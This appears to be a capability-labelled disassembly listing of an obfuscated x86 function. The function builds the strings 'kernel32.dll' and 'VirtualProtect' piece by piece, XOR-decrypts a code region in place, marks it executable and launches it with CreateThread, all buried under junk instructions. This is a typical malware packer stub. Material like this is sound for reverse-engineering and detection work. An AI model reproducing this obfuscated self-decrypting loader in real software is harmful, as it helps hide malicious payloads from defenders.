Function at 0x67610b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push 0x59792917
add esp, 4
popfd
call fcn.00676550
xchg esi, esi
mov esi, esi
lea eax, [ebp - 0xd8]
xchg ebx, ebx
mov ebx, 0x61
xchg ecx, ecx
xchg ebx, edi
xchg edi, ebx
add bx, 0xa
push eax
push ebx
pop ebx
pop eax
pushfd
push 0x80a40a24
add esp, 4
popfd
mov word [eax], bx
pushfd
inc esi
dec esi
popfd
xchg ebx, edx
xchg edx, ebx
sub bx, 6
pushfd
push 0xf3c602f
add esp, 4
popfd
mov word [eax + 2], bx
xchg esi, esi
add bx, 0xd
push eax
push esi
pop esi
pop eax
pushfd
push 0xe30f276
add esp, 4
popfd
mov word [eax + 4], bx
pushfd
inc edx
dec edx
popfd
xchg edx, edi
xchg edi, edx
sub bx, 4
pushfd
push edx
add esp, 4
popfd
mov word [eax + 6], bx
nop
pushfd
xor esi, 0x34042c6
xor esi, 0x34042c6
popfd
sub bx, 9
xchg edi, esi
xchg esi, edi
mov word [eax + 8], bx
pushfd
inc ebx
dec ebx
popfd
add bx, 7
push eax
push ecx
pop ecx
pop eax
pushfd
push 0xa2a0a898
add esp, 4
popfd
mov word [eax + 0xa], bx
mov edx, edx
sub bx, 0x39
pushfd
xor eax, 0x8cdbfd2d
xor eax, 0x8cdbfd2d
popfd
push esi
push ecx
pop ecx
pop esi
mov word [eax + 0xc], bx
pushfd
xor ecx, 0x38ba89b8
xor ecx, 0x38ba89b8
popfd
dec bx
push eax
push ecx
pop ecx
pop eax
pushfd
inc edi
dec edi
popfd
mov word [eax + 0xe], bx
pushfd
inc edx
dec edx
popfd
mov ecx, ecx
sub bx, 4
push ecx
pop ecx
push ecx
pop ecx
mov word [eax + 0x10], bx
mov eax, eax
add bx, 0x36
pushfd
xor esi, 0xf5d39da6
xor esi, 0xf5d39da6
popfd
mov word [eax + 0x12], bx
pushfd
inc ecx
dec ecx
popfd
push edi
push ebx
pop ebx
pop edi
add bx, 8
push edx
push ecx
pop ecx
pop edx
xchg ecx, ecx
mov word [eax + 0x14], bx
xchg esi, ecx
xchg ecx, esi
mov ebx, ebx
mov word [eax + 0x16], bx
push ecx
push edx
pop edx
pop ecx
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0x18], 0
xchg ecx, edi
xchg edi, ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov ebx, ebx
xchg edi, edi
mov dword [ebp - 0x10], eax
pushfd
xor ecx, 0xe9797f23
xor ecx, 0xe9797f23
popfd
pushfd
push 0x4f921790
add esp, 4
popfd
lea eax, [ebp - 0xd8]
xchg edx, edx
mov ebx, 0x61
push ebx
push esi
pop esi
pop ebx
push edx
pop edx
sub bl, 0xb
push ebx
pop ebx
mov byte [eax], bl
xchg edx, edx
pushfd
xor ebx, 0x4012166f
xor ebx, 0x4012166f
popfd
add bl, 0x13
pushfd
xor ecx, 0xeb83a9d6
xor ecx, 0xeb83a9d6
popfd
pushfd
push 0x263f114c
add esp, 4
popfd
mov byte [eax + 1], bl
nop
pushfd
xor ecx, 0x8e728929
xor ecx, 0x8e728929
popfd
add bl, 9
push edi
pop edi
mov byte [eax + 2], bl
push ebx
pop ebx
add bl, 2
push edx
push edi
pop edi
pop edx
pushfd
xor ecx, 0xc82618d9
xor ecx, 0xc82618d9
popfd
mov byte [eax + 3], bl
xchg edi, eax
xchg edi, eax
inc bl
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 4], bl
xchg ecx, ecx
pushfd
push 0x27142d8c
add esp, 4
popfd
sub bl, 0x14
mov esi, esi
mov byte [eax + 5], bl
push eax
push ecx
pop ecx
pop eax
pushfd
push 0x9c888c10
add esp, 4
popfd
add bl, 0xb
pushfd
xor edi, 0x3ad5ef62
xor edi, 0x3ad5ef62
popfd
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 6], bl
pushfd
push 0x828121b8
add esp, 4
popfd
mov edx, edx
sub bl, 0x1c
pushfd
push edx
add esp, 4
popfd
push edi
pop edi
mov byte [eax + 7], bl
xchg edx, edx
add bl, 0x22
pushfd
inc ebx
dec ebx
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 8], bl
pushfd
push edx
add esp, 4
popfd
push ecx
pop ecx
sub bl, 3
pushfd
xor ebx, 0xc56ada6d
xor ebx, 0xc56ada6d
popfd
xchg edx, edx
mov byte [eax + 9], bl
pushfd
push 0xe97c1d08
add esp, 4
popfd
xchg ebx, ebx
add bl, 5
xchg ecx, eax
xchg ecx, eax
xchg esi, esi
mov byte [eax + 0xa], bl
push ecx
pop ecx
xchg edx, esi
xchg esi, edx
sub bl, 0xf
pushfd
push 0x6e9138b2
add esp, 4
popfd
mov byte [eax + 0xb], bl
xchg ebx, ebx
pushfd
xor eax, 0x8297424
xor eax, 0x8297424
popfd
sub bl, 2
xchg edi, edi
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0xc], bl
mov ebx, ebx
pushfd
push edi
add esp, 4
popfd
add bl, 0x11
xchg edi, eax
xchg edi, eax
xchg edi, edi
mov byte [eax + 0xd], bl
mov eax, eax
mov byte [eax + 0xe], 0
xchg edi, eax
xchg edi, eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg esi, edx
xchg edx, esi
nop
mov dword [ebp - 0xc], eax
pushfd
xor eax, 0x8721020d
xor eax, 0x8721020d
popfd
lea eax, [ebp - 8]
pushfd
push edx
add esp, 4
popfd
pushfd
xor esi, 0x76a46007
xor esi, 0x76a46007
popfd
push eax
push 4
push 0x7889f
push entry0
call dword [ebp - 0xc]
pushfd
xor esi, 0x3869247d
xor esi, 0x3869247d
popfd
mov edi, entry0
pushfd
push 0x9426a9e7
add esp, 4
popfd
xchg edx, edx
mov esi, 0x40100e
push ecx
push ebx
pop ebx
pop ecx
mov ecx, 0x7889f
xchg edx, edx
pushfd
push esi
add esp, 4
popfd
mov edx, 0x9a2583da
xchg edx, eax
xchg edx, eax
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0xffbfbfb9
push ebx
pop ebx
pushfd
push ecx
add esp, 4
popfd
cld
xchg edi, edi
lodsb al, byte [esi]
xchg edx, edx
xor al, dl
mov esi, esi
stosb byte es:[edi], al
xchg edi, edi
ror edx, 5
mov ecx, ecx
imul edx, edx, 7
xchg edi, edi
test ebx, 1
mov ecx, ecx
je 0x6764ac
mov ebx, ebx
add esi, 5
mov edi, edi
ror ebx, 1
xchg edx, edx
dec ecx
mov edi, edi
test ecx, ecx
mov edi, edi
jne 0x676485
push esi
push ecx
pop ecx
pop esi
xchg esi, esi
lea eax, [ebp - 8]
xchg edi, ebx
xchg ebx, edi
push ecx
pop ecx
push eax
push 0x20
push 0x7889f
push entry0
call dword [ebp - 0xc]
pushfd
xor ebx, 0x3b3fc000
xor ebx, 0x3b3fc000
popfd
lea eax, [ebp - 4]
push esi
pop esi
pushfd
push edx
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
inc eax
dec eax
popfd
push eax
pop eax
pushfd
push eax
add esp, 4
popfd
pushfd
xor ebx, 0xb8e78493
xor ebx, 0xb8e78493
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
inc edi
dec edi
popfd
push edx
pop edx
jmp 0x67650b